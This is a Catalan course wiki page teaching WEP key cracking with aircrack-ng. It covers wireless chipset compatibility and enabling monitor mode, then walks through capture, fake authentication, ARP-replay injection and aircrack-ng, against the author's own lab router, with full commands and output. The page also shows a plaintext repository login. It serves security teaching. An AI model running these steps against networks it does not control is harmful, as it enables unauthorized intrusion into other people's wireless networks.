IMPORTANT: Per accedir als fitxer de subversion: http://acacha.org/svn (sense password). Poc a poc s'aniran migrant els enllaços. Encara però funciona el subversion de la farga però no se sap fins quan... (usuari: prova i la paraula de pas 123456)

Alert.png Aquesta wiki forma part dels materials d'un curs
Curs: SeguretatXarxesInformàtiques
Fitxers: TallerClausWEP.pdf (TallerClausWEP.odp),

WIFI2.pdf (WIFI2.odp)

Repositori SVN: https://anonymous@svn.projectes.lafarga.cat/svn/iceupc/SeguretatXarxesInformàtiques
Usuari: anonymous
Paraula de pas: sense paraula de pas
Autors: Sergi Tur Badenas
Aircrack-ng logo

Maquinari

Podeu consultar una llista a:

Zydas zd1211rw

Aquest xip es troba per exemples en targetes WIFI USB de Wisacom:

Wisacom usb.jpg

Podeu consultar una llista de dispositius que tenen aquest xip a:

http://www.linuxwireless.org/en/users/Drivers/zd1211rw/devices

La que tinc jo la vaig comprar a Pricoinsa per uns 30€ aprox (--acacha 12:55, 19 abr 2009 (UTC)).

$ lsusb
Bus 001 Deveice 004: ID 0ace:1215 ZyDAS WLA-54L WiFI
....

S'utilitzen els següents moduls de Linux:

$ lsmod | grep zd
zd1211rw               52740  0 
mac80211              217208  1 zd1211rw
cfg80211               38032  2 zd1211rw,mac80211

Hi ha 2 versions, la mostrada anteriorment (mac80211) i l'antiga ieee80211softmac:

$ lsmod
Module                  Size  Used by
zd1211rw               52740  0 
ieee80211softmac       35265  1 zd1211rw
ieee80211              35784  2 zd1211rw,ieee80211softmac
ieee80211_crypt        10112  1 ieee80211

Aquesta última versió necessita d'un patch al kernel per tal de funcionar correctament. A la nova tot funciona bé amb version d'aircrack superiors a 1.0beta. Podeu consultar la versió d'aircrack amb:

$ dpkg -l | grep aircrack
ii  aircrack-ng                                1:1.0~rc3-1                          wireless WEP/WPA cracking utilities

Si nou us carrega el modul automàticament al connectar el USB, podeu provar manualment amb:

$ sudo modprobe zd1211rw


Recursos:

IWL3845 (Intel PRO/Wireless 3945ABG)

NOTA: Hi ha problemes amb aquest chip (--acacha 10:41, 27 abr 2009 (UTC))
$ lspci
 0b:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)

Hi ha problemes per injectar paquets amb aquest chip:

DLINK (DWL-G510 Rev C)

 NOTA: Hi ha problemes amb aquest chip (--acacha 10:41, 27 abr 2009 (UTC))
DLINK Airplus DWL-G510

Molt similar a la targeta de l'apartat següent però té un xip de diferent fabricant (RaLink):

$ lspci
0c:05.0 Network controller: RaLink RT2561/RT61 rev B 802.11g

El driver de Linux és:

info.linux.driver=rt61pci

El podeu obtenir amb la comanda ethtool:

$ sudo ethtool -i eth0

Sembla que no hi ha suport per a kismet? i tampoc per a aircrack-ng

Tant la DLINK-G510 com la DLINK-G520, són habituals en els ordinadors Siemens de les dotacions del departament d'ensenyament

DLINK (DWL-G520)

DLINK Air plus Xtreme DWL-g520

Aquesta targeta de D-LINK es molt similar a la de l'apartat anterior però porta un chipset Atheros que si és compatible amb Kismet i aircrack-ng.

Nom del driver:

$ lspci 
...
02:06.0 Ethernet controller: Atheros Communications Inc. AR5212/AR5213 Multiprotocol 
MAC/baseband processor (rev 01)

El driver de Linux és:

info.linux.driver=ath_pci

El podeu obtenir amb la comanda ethtool:

$ sudo ethtool -i eth0

Configuració kismet:

source=madwifi_g,wifi0,d-link

Funciona OK amb aircrak-ng.

Recursos:

DLINK (DWL-G520) en màquina de profe

El mateix tipus de targeta en un ordinador diferent (les anteriors estaven en ordinadors d'alumnes d'un AULA i aquest a un Fujitus Siemens ESPRIMO), dona un chip diferent

$ lspci
...
0c:05.0 Ethernet controller: Atheros Communications Inc. Atheros AR5001X+ Wireless Network Adapter (rev 01)

Al fer un ifconfig:

$ sudo ifconfig
...
wlan0     Link encap:Ethernet  HWaddr 00:1c:f0:d4:55:1b  
         inet6 addr: fe80::21c:f0ff:fed4:551b/64 Scope:Link
         UP BROADCAST  MTU:1500  Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0 frame:0
         TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000 
         RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
...
wmaster0  Link encap:UNSPEC  HWaddr 00-1C-F0-D4-55-1B-35-31-00-00-00-00-00-00-00-00  
         UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0 frame:0
         TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000 
         RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

Les targetes són wlan0 i wmaster0 en comptes de ath0. Al crear un monitor la targeta es diu mon0:

 mon0      Link encap:UNSPEC  HWaddr 00-1C-F0-D4-55-1B-30-30-00-00-00-00-00-00-00-00  
         UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI  MTU:1500  Metric:1
         RX packets:2213684 errors:0 dropped:0 overruns:0 frame:0
         TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000 
         RX bytes:158199214 (158.1 MB)  TX bytes:0 (0.0 B)


AtherosProfe.png

AtherosProfe1.png

Ralink RT2860

Sembla que no està suportada per defecte:

$ lspci 
...
01:00.0 Network Controller: RaLink RT2860
...
$ sudo ethtool -i eth0
driver: ATL1E
version: 1.0.07-NAPI
firmware-version: L1e
bus-info: 000:04:00.0

Instal·lació

$ sudo apt-get install aircrack-ng

Comandes:

$ dpkg -L aircrack-ng | grep bin
/usr/bin
/usr/bin/aircrack-ng
/usr/bin/airdecap-ng
/usr/bin/packetforge-ng
/usr/bin/ivstools
/usr/bin/kstats
/usr/bin/buddy-ng
/usr/bin/makeivs-ng
/usr/bin/airolib-ng
/usr/sbin
/usr/sbin/aireplay-ng
/usr/sbin/airodump-ng
/usr/sbin/airserv-ng
/usr/sbin/airtun-ng
/usr/sbin/wesside-ng
/usr/sbin/easside-ng
/usr/sbin/airmon-ng
/usr/sbin/airdriver-ng


Comandes

airmon-ng

Es tracta d'un script de bash que configura les targetes sense fils per tal de posar-les en el mode monitor:

Activar mode monitor:

$ sudo airmon-ng start ath0

On ath0 és el nom de la targeta a la qual voleu activar o desactivar el mode monitor.

Atenció que airmon-ng, utilitza kismet i pot interferir amb la configuració de kismet.

Desactivar:

$ sudo airmon-ng stop ath0

Bàsicament utilitza la comanda iwconfig:

$ sudo iwconfig eth0 mode monitor

La qüestió però, és que depenen del maquinari no és tan senzill (i això és en el que ens ajuda l'script).

L'script és:

$ cat /usr/sbin/airmon-ng

#!/bin/sh

USERID=""
IFACE=""
KISMET=/etc/kismet/kismet.conf
CH=$3; [ x$3 = "x" ] && CH=10
IFACE_FOUND="false"
MADWIFI=0
MAC80211=0 

PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi- daemon"  

usage() { 
	printf "usage: `basename $0` <start|stop|check> <interface> [channel]\n" 
	echo
	exit
}

startStdIface() {
 	iwconfig $1 mode monitor 2> /dev/null >/dev/null 
	iwconfig $1 channel $2 2> /dev/null >/dev/null  
	iwconfig $1 key off 2> /dev/null >/dev/null
	ifconfig $1 up
	printf " (monitor mode enabled)"
}
 

stopStdIface() {
	ifconfig $1 down 2> /dev/null >/dev/null
	iwconfig $1 mode Managed 2> /dev/null >/dev/null
	ifconfig $1 down 2> /dev/null >/dev/null
	printf " (monitor mode disabled)"
} 
 
getModule() {
    if [ -f "/sys/class/net/$1/device/driver/module/srcversion" ]
    then
        srcver1=`cat "/sys/class/net/$1/device/driver/module/srcversion"`
        for j in `lsmod | awk '{print $1}' | grep -v "^Module$"`
        do
            srcver2="`modinfo $j | grep srcversion | awk '{print $2}'`"
            if [ $srcver1 = "$srcver2" ]
            then
                MODULE=$j
               break
           fi
       done
   else
       MODULE=""
   fi
#    return 0
}

getDriver() {
  if [ -e "/sys/class/net/$1/device/driver" ]
  then
      DRIVER="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`"
      BUS="`ls -l /sys/class/net/$1/device/driver | sed 's/^.*\/\([a-zA-Z0-9_-]*\)\/.*\/.*$/\1/'`"
  else
      DRIVER=""
      BUS=""
  fi
}

scanProcesses() {
   match=`ps -A -o comm= | grep $PROCESSES | grep -v grep | wc -l`
   if [ $match -gt 0 ]
   then
       echo && echo
       echo "Found $match processes that could cause trouble."
       echo "If airodump-ng, aireplay-ng or airtun-ng stops working after"
       echo "a short period of time, you may want to kill (some of) them!"
       echo
       echo "PID\tName"
   else
       return
   fi

   i=1
   while [ $i -le $match ]
   do
       pid=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $1}'`
       pname=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $2}'`
       printf "$pid\t$pname\n"
       i=$(($i+1))
   done
}
...

NOTA: airmon-ng can set the right sources in /etc/kismet/kismet.conf too

Si no funciona es pot utilitzar kismet per posar la targeta en mode monitor.

airodump-ng

Eina de captura de paquets de aircrack:

$ sudo airodump-ng eth1

Airodump.png

Podeu guardar la captura en un fitxer amb la comanda:

$ sudo airodump-ng eth1 -w fitxer_captura

Es creen 2 fitxers fitxer_captura.txt i fitxer_captura.cap

$ ls -l
-rw-r--r-- 1 root  root   592 2008-10-22 11:57 fitxer_captura-01.cap
-rw-r--r-- 1 root  root   967 2008-10-22 11:57 fitxer_captura-01.txt

Per capturar només IVS (només vàlid per a cracking) cal posar:

$ sudo airodump-ng -i eth1 -w fitxer_captura

aireplay-ng

Aquesta eina, injecta paquets ARP en una xarxa sense fils per tal de generar trànsit de dades.

aircrack-ng

Exemple pas a pas amb DLINK (DWL-G520)

En aquest apartat hi han les indicacions pas a pas per utilitzar aircrack-ng amb DWL-G520.

Primer de tots instal·lem el paquet madwifi-tools (són les eines per a Atheros):

$ sudo apt-get install madwifi-tools

Us proporciona la comanda wlanconfig, necessaria per a poder utilitzar airmon-ng. Per a més informació vegeu l'error wlan config not found.

$ dpkg -L madwifi-tools | grep bin
/sbin
/sbin/wlanconfig
...

Instal·lem

$ sudo apt-get install aircrack-ng

Amb les targetes atheros cal que, prèviament a realitzar un atac, s'elimini el VAP (Virtual Acces Point) ath0:

$ sudo airmon-ng stop ath0

Ara podem iniciar el mode monitor:

$ sudo airmon-ng start wifi0

NOTA: Atenció a l'error:

$ sudo airmon-ng start wifi0
Interface       Chipset         Driver
wifi0           Atheros         madwifi-ngError for wireless request "Set Frequency" (8B04) :
    SET failed on device ath0 ; No such device.
ath0: ERROR while getting interface flags: No such device

ath1            Atheros         madwifi-ng VAP (parent: wifi0)

Si us dona aquest error, haureu de substituir tots els ath0 de les comandes següents per ath1.

Cal fixar-se en:

...
ath0		Atheros		madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Que vol dir que s'ha activat el mode monitor. Vegeu que no s'activa el mode monitor a la targeta de xarxa wifi0 sinó que es crea una interfície de xarxa virtual anomenada ath0. Podeu comprovar-ho amb:

$ sudo iwconfig
lo        no wireless extensions.

eth5      no wireless extensions.

wifi0     no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
         Mode:Monitor  Frequency:2.437 GHz  Access Point: 00:1C:F0:D4:54:A8   
         Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=1/1  
         Retry:off   RTS thr:off   Fragment thr:off
         Encryption key:off
         Power Management:off
         Link Quality=0/70  Signal level=-95 dBm  Noise level=-95 dBm
         Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
         Tx excessive retries:0  Invalid misc:0   Missed beacon:0
         Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
         Tx excessive retries:0  Invalid misc:0   Missed beacon:0
MOLT IMPORTANT: Si us equivoqueu i repetiu la comanda us creara més interfícies athX. Cal tenir-ho en compte ja que, les següents comandes no aniran bé si teniu múltiples interfícies en mode monitor. Consulteu [[#X is on channel 3, but the AP uses channel 6|X is on channel 3, but the AP uses channel 6]. Es poden eliminar amb:
$ sudo airmon-ng stop ath1

Tingueu en compte també que us indiquen que certs programes del sistema us poden provocar problemes amb aircrack:

PID	Name
2578	NetworkManager
2582	wpa_supplicant
2602	avahi-daemon
2603	avahi-daemon
4696	dhclient

Us dona el PID per tal que els podeu matar si cal amb (normalment no és necessari):

$ sudo kill -9 PID
IMPORTANT: Si que cal i es molt recomanable desactivar la xarxa Wireless del NetworkManager de Gnome. Feu botó dret a la icona de xarxa del panell superior i desactiveu la xarxa sense fils:
DisableWIFINEtworkManager.png

Comproveu que la targeta està en mode monitor:

$ sudo iwconfig ath0

 ath0      IEEE 802.11g  ESSID:""  Nickname:""
         Mode:Monitor  Frequency:2.457 GHz  Access Point: 00:1C:F0:D4:55:92   
         Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=1/1  
         Retry:off   RTS thr:off   Fragment thr:off
         Encryption key:off
         Power Management:off
         Link Quality=0/70  Signal level=-96 dBm  Noise level=-96 dBm
         Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
         Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Aixequeu la interfície:

$ sudo ifconfig ath0 up

I comproveu si funciona la injecció de paquets:

$ sudo aireplay-ng --test -i wifi0 ath0

09:34:15  Trying broadcast probe requests...
09:34:17  No Answer...
09:34:17  Found 0 APs 

09:34:17  Trying card-to-card injection...
09:34:17  Attack -0:        OK
09:34:17  Attack -1 (open): OK
09:34:17  Attack -1 (psk):  OK
09:34:17  Attack -2/-3/-4:  OK
09:34:17  Attack -5:        OK
09:34:17  Injection is working!

Podem començar l'atac... Primer ens creem una carpeta i ens col·loquem dintre:

$ cd
$ mkdir atacWEP
$ cd atacWEP

I ara busquem víctimes amb airodump (podríeu utilitzar també kismet):

$ sudo airodump-ng -i ath0  -w fitxer_captura

Ens apareixeran les xarxes de la zona. Escollim com a víctima la xarxa dd-wrt:

...
CH  6 ][ Elapsed: 1 min ][ 2008-10-23 09:38                                         
                                                                                                                                                             
BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                     
00:1D:73:3A:CB:AC   43      133       10    0   6  48  WPA   WEP        dd-wrt  

Sortiu amb Ctrl+C.

Que observareu que està al canal 6. Ara cal executar airmon-ng només escoltant el canal 6:

$ sudo airodump-ng -i ath0 -c 6 -w fitxer_captura
CH  6 ][ Elapsed: 1 min ][ 2008-10-23 09:38                                         
                                                                                                                                                            
BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                     
00:1D:73:3A:CB:AC   43      133       10    0   6  48  WPA   WEP        dd-wrt  

Aquesta comanda generarà uns fitxers anomenats:

$ ls -l
fitxer_captura_01.txt
fitxer_captura_01.ivs

Si observeu la sortida de airodump, veureu que la columna data no augmenta (o augmenta molt lentament). Això és per que cal que hi hagui molt de tràfic o que el provoquem nosaltres (això és el que farem en el següents passos).

NOTA: no tanqueu la terminal on s'està executant airodump-ng. Deixeu-lo funcionant.

Anem a suposar que ataquem un màquina (en el cas és una màquina pròpia preparada, un router Buffalo amb DD-WRT).

Per aconseguir claus WEP quan més tràfic WEP hi hagi millor. Si no existeix tràfic WEP el podem crear amb:

 NOTA: Heu de posar els valors adequats per al vostre cas de 
BSSID (paràmetre -e) i MAC del punt d'accés (paràmetre -a)
$ sudo aireplay-ng -1 0 -e dd-wrt -a 00:1D:73:3A:CB:AC ath0
No source MAC (-h) specified. Using the device MAC (00:1C:F0:D4:55:92)
09:56:28  Waiting for beacon frame (BSSID: 00:1D:73:3A:CB:AC) 

09:56:28  Sending Authentication Request
09:56:28  Authentication successful
09:56:28  Sending Association Request
09:56:28  Association successful :-)
NOTA: Cal tenir airodump executant-se en un sol canal (opció -c)!!! si no poden sortir missatges del tipus:
09:55:56  ath0 is on channel 7, but the AP uses channel 6

El paràmetre -1 indica el tipus d'atac (amb l'opció 0, que indica al cap de quants segons enviarà un paquet keep-alive)

Ara iniciem un atac arpreplay per tal de capturar paquets IVS (o data en versions noves de aircrack):

$ sudo aireplay-ng -3 -e dd-wrt -a 00:1D:73:3A:CB:AC -x 600 ath0
No source MAC (-h) specified. Using the device MAC (00:1C:F0:D4:55:92)
10:04:11  Waiting for beacon frame (ESSID: dd-wrt)
Found BSSID "00:1D:73:3A:CB:AC" to given ESSID "dd-wrt".
Saving ARP requests in replay_arp-1023-100411.cap
You should also start airodump-ng to capture replies.

Ara veurem com augmenta el número de paquets DATA a la pantalla on tenim executat airodump (o IVS segons la versió de aircrack). El nombre de IVs recomanats són:

  • WEP 64 bits: 300.000 IVs
  • WEP 128 bits: 1.000.000
NOTA: No cal esperar a tenir aquest nombre de paquets per a fer una prova. Sovint s'aconsegueix la clau molt abans...

Un cop teniu els IVS suficients, cal executar aircrack en una nova terminal. Situe-vos a la mateixa carpeta on s'està executant airodump i airreplay (en el nostre cas atacWEP de la HOME) i executeu

$ sudo aircrack-ng -x -0 *.cap *.ivs
Opening replay_arp-1023-100411.cap
Opening fitxer_captura-08.ivs
Read 387215 packets.

  #  BSSID              ESSID                     Encryption

  1  00:1D:73:3A:CB:AC  dd-wrt                    WEP (387164 IVs)
  ...

Index number of target network ? 1

Seleccioneu la xarxa que esteu atacant (en aquest cas 1) i voila:

AircrakOK.png

La opció -x evita un atac de força bruta als últims 2 bytes (el crack és més ràpid). I el -0 només es per fer-ho més bonic.

La clau WEP està en format hexadecimal (normalment cal treure els : per tenir una clau utilitzable...)

Exemple pas a pas amb Zydas zd1211rw

$ sudo apt-get install aircrack-ng

Consulteu les interfícies de xarxa que teniu quan no està connectada la targeta USB:

$ sudo ifconfig
eth0      Link encap:Ethernet  HWaddr 00:30:1b:b7:cd:b6  
         inet addr:192.168.1.2  Bcast:192.168.1.255  Mask:255.255.255.0
         inet6 addr: fe80::230:1bff:feb7:cdb6/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
         RX packets:16532 errors:0 dropped:0 overruns:0 frame:0
         TX packets:16999 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000 
         RX bytes:14030927 (14.0 MB)  TX bytes:5633938 (5.6 MB)
         Interrupt:16 

lo        Link encap:Local Loopback  
         inet addr:127.0.0.1  Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING  MTU:16436  Metric:1
         RX packets:4 errors:0 dropped:0 overruns:0 frame:0
         TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0 
         RX bytes:240 (240.0 B)  TX bytes:240 (240.0 B)

Al connectar la targeta us apareixeran dos noves interfícies:

$ sudo ifconfig
...
wlan0     Link encap:Ethernet  HWaddr 00:02:72:78:8d:8c  
         UP BROADCAST MULTICAST  MTU:1500  Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0 frame:0
         TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000 
         RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

wmaster0  Link encap:UNSPEC  HWaddr 00-02-72-78-8D-8C-00-00-00-00-00-00-00-00-00-00  
         UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0 frame:0
         TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000 
         RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

En sistemes Ubuntu, udev us haura afegit una línia al fitxer /etc/udev/rules.d/70-persistent-net.rules :

$  cat /etc/udev/rules.d/70-persistent-net.rules 
... 
# USB device 0x:0x (zd1211rw)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:02:72:78:8d:8c", ATTR{type}=="1", KERNEL=="wlan*",  
NAME="wlan0"

D'aquesta manera aquest USB sempre tindrà la interfície wlan0. Si teniu més d'una targeta USB wireless, les següents targetes que connecteu agafaran els noms wlan1, wlan, etc...

Activem el mode monitor de la targeta wifi. Aquest mode és necessari per a detectar xarxes i capturar paquets per a poder aplicar les tècniques de criptoanàlisi als paquets:

$ sudo airmon-ng start wlan0
 
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID	Name
2578	NetworkManager
2582	wpa_supplicant
2602	avahi-daemon
2603	avahi-daemon
4696	dhclient

Interface	Chipset		Driver

wlan0		ZyDAS 1211	zd1211rw - [phy2]
				(monitor mode enabled on mon0)

Cal fixar-se en:

 wlan0		ZyDAS 1211	zd1211rw - [phy2]
				(monitor mode enabled on mon0)

Que vol dir que s'ha activat el mode monitor. Vegeu que no s'activa el mode monitor a la targeta de xarxa wlan0 sinó que es crea una interfície de xarxa virtual anomenada mon0. Podeu comprovar-ho amb:

$ sudo iwconfig 
...
mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm   
         Retry min limit:7   RTS thr:off   Fragment thr=2352 B   
         Encryption key:off
         Power Management:off
         Link Quality:0  Signal level:0  Noise level:0
         Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
         Tx excessive retries:0  Invalid misc:0   Missed beacon:0


MOLT IMPORTANT: Si us equivoqueu i repetiu la comanda us creara més interfícies monX. Cal tenir-ho en compte ja que, les 
següents comandes no aniran bé si teniu múltiples interfícies en mode monitor. Consulteu [[#X is on channel 3, but the AP uses 
channel 6|X is on channel 3, but the AP uses channel 6]]. Es poden eliminar amb:

$ sudo airmon-ng stop mon1

Tingueu en compte també que us indiquen que certs programes del sistema us poden provocar problemes amb aircrack:

PID	Name
2578	NetworkManager
2582	wpa_supplicant
2602	avahi-daemon
2603	avahi-daemon
4696	dhclient

Us dona el PID per tal que els podeu matar si cal amb (normalment no és necessari):

$ sudo kill -9 PID
IMPORTANT: Si que cal i es molt recomanable desactivar la xarxa Wireless del NetworkManager de Gnome. Feu botó dret a la icona de xarxa del panell superior i desactiveu la xarxa sense fils:
DisableWIFINEtworkManager.png

Ara comprovem, fent un test d'injecció, si la nostra tarja suporta injecció de paquets:

$  sudo aireplay-ng --test -i wlan0 mon0

13:15:12  Trying broadcast probe requests...
13:15:14  No Answer...
13:15:14  Found 0 APs

13:15:14  Trying card-to-card injection...
13:15:14  Attack -0:           OK
13:15:14  Attack -1 (open):    OK
13:15:14  Attack -1 (psk):     OK
13:15:14  Attack -2/-3/-4/-6:  OK
13:15:14  Attack -5/-7:        OK
13:15:14  Injection is working!

On wlan0 és la interfície real i mon0 és la virtual en mode monitor que acabem de crear.

Ara comencem l'atac. El primer es detectar xarxes i escollir una víctima. Per això està la comanda airodump-ng:

$ sudo airodump-ng -i mon0 -w fitxer_captura

Us mostrarà una informació similar a:

CH  3 ][ Elapsed: 32 s ][ 2009-04-27 13:24                                         
                                                                                                                                                           
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH SSID 
MAC1                54     13        0    0    6  54  . WPA  TKIP   PSK  NOM_XARXA1 
MAC2                54     13        0    0    6  54  . OPN              NOM_XARXA2 
MAC3                54     13        0    0    6  54  . WEP  WEP         NOM_XARX3
...

Per exemple

$ sudo airodump-ng -i mon0 -w fitxer_captura
CH  6 ][ Elapsed: 32 s ][ 2009-04-27 13:24                                         
                                                                                                                                                           
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH SSID 

00:1D:73:3A:CB:AC   70      15        0    0    6  54e  WEP  WEP    dd-wrt

Heu d'apuntar la MAC (BSSID) i el SSID (nom de la xarxa) de la víctima i el canal que utilitza. Atureu airodump amb Ctrl-C.

Ara torneu-lo a executar, només escoltant pel canal del punt d'accés de la víctima:

$ sudo airodump-ng -i mon0 -c 6 -w fitxer_captura

Observeu com el canal no va canviant. Deixeu aquesta comanda executant-se...

Per poder iniciar un desxifratge o atac de criptoanàlisi de la paraula de pas, és necessari de disposar de prous paquets a la columna DATA. Per que aquesta columna augmenti cal que hi hagi força tràfic a la xarxa sense fils. En aquest punt és on intervé l'atac d'injecció de paquets.

Sense tancar airodump (podeu iniciar una nova pestanya de la terminal amb Ctrl-Shift-t), executeu:

$ sudo aireplay-ng -1 0 -e SSID_DE_LAXARXA -a MAC_PUNT_ACCES mon0

On

  • -1 0: És el tipus d'atac. -1 és un atac de fakeauth (autenticació falsa al punt d'accés). 0 és una paràmetre d'aquest tipus d'atac i correspon al retard (delay). Els tipus d'atacs els podeu consultar al manual de aireplay-ng ( $ man airreplay-ng)
  • -e SSID_DE_LAXARXA: És el que normalment coneixem com a nom de la xarxa sense fils.
  • -a MAC_PUNT_ACCES: La MAC del punt d'accés

Aquestes 3 dades les heu obtingut a la comanda anterior. Per exemple, suposem que la víctima és la següent:

  • MAC del punt d'accés (BSSID): 00:1D:73:3A:CB:AC
  • ESSID: dd-wrt

La comanda seria:

$ sudo aireplay-ng -1 0 -e dd-wrt -a 00:1D:73:3A:CB:AC mon0
No source MAC (-h) specified. Using the device MAC (00:02:72:78:8D:8C)
09:16:21  Waiting for beacon frame (BSSID: 00:1D:73:3A:CB:AC) on channel 6

09:16:21  Sending Authentication Request (Open System) [ACK]
09:16:21  Authentication successful
09:16:21  Sending Association Request [ACK]
09:16:21  Association successful :-) (AID: 1)
 

Ara que ja estem associats al punt d'accés podem començar la injecció de paquets amb:

$ sudo aireplay-ng -3 -e SSID_DE_LAXARXA -a MAC_PUNT_ACCES -x 600 mon0

Per l'exemple que estem seguint:

$ sudo aireplay-ng -3 -e dd-wrt -a 00:1D:73:3A:CB:AC -x 600 mon0
No source MAC (-h) specified. Using the device MAC (00:02:72:78:8D:8C)
09:24:17  Waiting for beacon frame (ESSID: dd-wrt) on channel 6
Found BSSID "00:1D:73:3A:CB:AC" to given ESSID "dd-wrt".
Saving ARP requests in replay_arp-0429-092417.cap
You should also start airodump-ng to capture replies.
^Cad 538 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

Un cop tinguem suficients paquets IV, pode executar:

$ sudo aircrack-ng -x -0 *.cap *.ivs
NOTA': Totes les comandes executau-les dins la mateixa carpeta (en el nostre cas ~/atacWEP).

Configuració de kismet

Zydas zd1211rw

Consulteu:

Script. Autocrack

Recursos:

Resolució d'errors. TroubleShooting

Es creat la interfície ath1 en comptes de la ath0

Aquest problema només s'aplica a les targetes madwifi-ng. Primer cal provar d'apagar cap Acces Point Virtual (VAP) amb:

$ sudo airmon-ng stop IFACE

I després fer:

$ sudo airmon-ng start wifi0

Recursos:

Error message: "wlanconfig: command not found"

Això es que falta per instal·lar les eines de madwifi (madwifi-tools) If you receive “wlanconfig: command not found” or similar then the wl:

$ sudo apt-get install madwifi-tools

X is on channel 3, but the AP uses channel 6

Si a l'executar airreplay:

$ sudo aireplay-ng -1 0 -e WLAN_4B -a 00:01:38:E1:A1:1C mon0
No source MAC (-h) specified. Using the device MAC (00:02:72:78:8D:8C)
13:03:31  Waiting for beacon frame (BSSID: 00:01:38:E1:A1:1C) on channel 3
13:03:31  mon0 is on channel 3, but the AP uses channel 6

Aquest error es degut a que hi ha algun procés que va canviant els canals de la wifi (Channel Hopping).

Comproveu que no tingueu diverses interfícies en mode monitor amb:

$ sudo iwconfig

Si teniu més d'una targeta mon o ath en mode monitor aquí teniu el vostre problema. Les podeu eliminar amb:

 $ sudo airmon-ng stop mon1

Un altre possible error és que esteu executant, sense el paràmetre -c. Un exemple correcte:

$ sudo airodump-ng -i ath0 -c 6 -w fitxer_captura

No funciona l'atac 1

A vegades l'atac 1 (aunteticació o associació falsa al punt d'accés) no funciona:

$ sudo aireplay-ng -1 0 -e dd-wrtHotSpot -a 00:1D:73:3A:CB:AC mon0
No source MAC (-h) specified. Using the device MAC (00:02:72:DD:AA:8C)
09:44:22  Waiting for beacon frame (BSSID: 00:1D:73:3A:CB:AC) on channel 6

09:44:22  Sending Authentication Request (Open System)

09:44:24  Sending Authentication Request (Open System)

09:44:26  Sending Authentication Request (Open System)

09:44:28  Sending Authentication Request (Open System)

09:44:30  Sending Authentication Request (Open System)

09:44:32  Sending Authentication Request (Open System)

09:44:34  Sending Authentication Request (Open System)

09:44:36  Sending Authentication Request (Open System) 
 
09:44:38  Sending Authentication Request (Open System)

09:44:40  Sending Authentication Request (Open System)

09:44:42  Sending Authentication Request (Open System)

09:44:44  Sending Authentication Request (Open System)

09:44:46  Sending Authentication Request (Open System)

09:44:48  Sending Authentication Request (Open System)

09:44:50  Sending Authentication Request (Open System)

09:44:52  Sending Authentication Request (Open System)
Attack was unsuccessful. Possible reasons:

   * Perhaps MAC address filtering is enabled.
   * Check that the BSSID (-a option) is correct.
   * Try to change the number of packets (-o option).
   * The driver/card doesn't support injection.
   * This attack sometimes fails against some APs.
   * The card is not on the same channel as the AP.
   * You're too far from the AP. Get closer, or lower
     the transmit rate.


Per confirmar el canal podeu utilitzar:

$ sudo iwlist mon0 frequency
mon0      13 channels in total; available frequencies :
         Channel 01 : 2.412 GHz
         Channel 02 : 2.417 GHz
         Channel 03 : 2.422 GHz
         Channel 04 : 2.427 GHz
         Channel 05 : 2.432 GHz
         Channel 06 : 2.437 GHz
         Channel 07 : 2.442 GHz
         Channel 08 : 2.447 GHz
         Channel 09 : 2.452 GHz
         Channel 10 : 2.457 GHz
         Channel 11 : 2.462 GHz
         Channel 12 : 2.467 GHz
         Channel 13 : 2.472 GHz
         Current Frequency=2.437 GHz (Channel 6)

wlanconfig not found

Si al executar:

$ sudo airmon-ng stop ath0

Interface	Chipset		Driver 

wifi0		Atheros		madwifi-ng
